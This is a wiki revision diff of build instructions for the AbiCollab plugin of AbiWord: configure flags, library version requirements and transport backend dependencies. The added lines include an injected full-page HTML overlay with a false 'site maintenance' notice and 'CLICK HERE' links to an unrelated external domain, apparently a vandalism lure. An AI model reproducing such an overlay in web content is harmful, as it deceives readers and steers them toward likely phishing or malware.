Compiling AbiCollab on Linux/Unix
From AbiWiki
(Difference between revisions)
Line 1: | Line 1: | ||
- | To compile the core AbiCollab plugin, you need to pass the --enable-plugins= | + | ---- |
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ucozisit.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://ucozisit.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
+ | To compile the core AbiCollab plugin, you need to pass the --enable-plugins="collab" option when configuring AbiWord, for example: | ||
- | ./configure --enable-plugins= | + | ./configure --enable-plugins="collab" |
The core AbiCollab plugin needs the following dependencies to be available: | The core AbiCollab plugin needs the following dependencies to be available: | ||
- | * [http://ftp.acc.umu.se/pub/GNOME/sources/libgsf/ libgsf-1] | + | * [http://ftp.acc.umu.se/pub/GNOME/sources/libgsf/ libgsf-1] >= 1.12 |
- | * [http://xmlsoft.org/ libxml-2.0] | + | * [http://xmlsoft.org/ libxml-2.0] >= 2.4.0 |
- | * [http://www.boost.org/ boost] | + | * [http://www.boost.org/ boost] >= 1.33.1 |
The core AbiCollab plugin can be enhanced by enabling one or more transport backends (you need at least 1 for the plugin to be useful. The configure script enables all backends by default for which the dependencies are satisfied. The table below shows the dependency requirements for the available backends: | The core AbiCollab plugin can be enhanced by enabling one or more transport backends (you need at least 1 for the plugin to be useful. The configure script enables all backends by default for which the dependencies are satisfied. The table below shows the dependency requirements for the available backends: | ||
- | {|border= | + | {|border="1" style="border-collapse:collapse;" |
|- | |- | ||
!Transport Backend!!Brief Description!!Dependencies | !Transport Backend!!Brief Description!!Dependencies | ||
|- | |- | ||
- | ||AbiCollab.net Collaboration Service||Enables integration with the [http://abicollab.net/ AbiCollab.net] online webservice||[http://live.gnome.org/LibSoup libsoup-2.4], [http://www.gnu.org/software/gnutls/ gnutls], [http://think-async.com/Asio/ asio] | + | ||AbiCollab.net Collaboration Service||Enables integration with the [http://abicollab.net/ AbiCollab.net] online webservice||[http://live.gnome.org/LibSoup libsoup-2.4], [http://www.gnu.org/software/gnutls/ gnutls], [http://think-async.com/Asio/ asio] >= 1.0.0 (non-boost version) |
|- | |- | ||
- | ||Direct Connection (TCP)||Direct tcp based peer to peer connections||[http://think-async.com/Asio/ asio] | + | ||Direct Connection (TCP)||Direct tcp based peer to peer connections||[http://think-async.com/Asio/ asio] >= 1.0.0 (non-boost version) |
|- | |- | ||
- | ||Jabber (XMPP)||Communicate over to the well known XMPP protocol||[http://groups.google.com/group/loudmouth-dev/ loudmouth-1.0] | + | ||Jabber (XMPP)||Communicate over to the well known XMPP protocol||[http://groups.google.com/group/loudmouth-dev/ loudmouth-1.0] >= 1.0.1 |
|- | |- | ||
- | ||Sugar Presense Service||Allows you to collaborate in the [http://www.sugarlabs.org/ Sugar] environment||[http://dbus.freedesktop.org/releases/dbus-glib/ dbus-glib-1] | + | ||Sugar Presense Service||Allows you to collaborate in the [http://www.sugarlabs.org/ Sugar] environment||[http://dbus.freedesktop.org/releases/dbus-glib/ dbus-glib-1] >= 0.70 |
|} | |} |
Revision as of 06:50, 24 November 2010
To compile the core AbiCollab plugin, you need to pass the --enable-plugins="collab" option when configuring AbiWord, for example:
./configure --enable-plugins="collab"
The core AbiCollab plugin needs the following dependencies to be available:
- libgsf-1 >= 1.12
- libxml-2.0 >= 2.4.0
- boost >= 1.33.1
The core AbiCollab plugin can be enhanced by enabling one or more transport backends (you need at least 1 for the plugin to be useful. The configure script enables all backends by default for which the dependencies are satisfied. The table below shows the dependency requirements for the available backends:
Transport Backend | Brief Description | Dependencies |
---|---|---|
AbiCollab.net Collaboration Service | Enables integration with the AbiCollab.net online webservice | libsoup-2.4, gnutls, asio >= 1.0.0 (non-boost version) |
Direct Connection (TCP) | Direct tcp based peer to peer connections | asio >= 1.0.0 (non-boost version) |
Jabber (XMPP) | Communicate over to the well known XMPP protocol | loudmouth-1.0 >= 1.0.1 |
Sugar Presense Service | Allows you to collaborate in the Sugar environment | dbus-glib-1 >= 0.70 |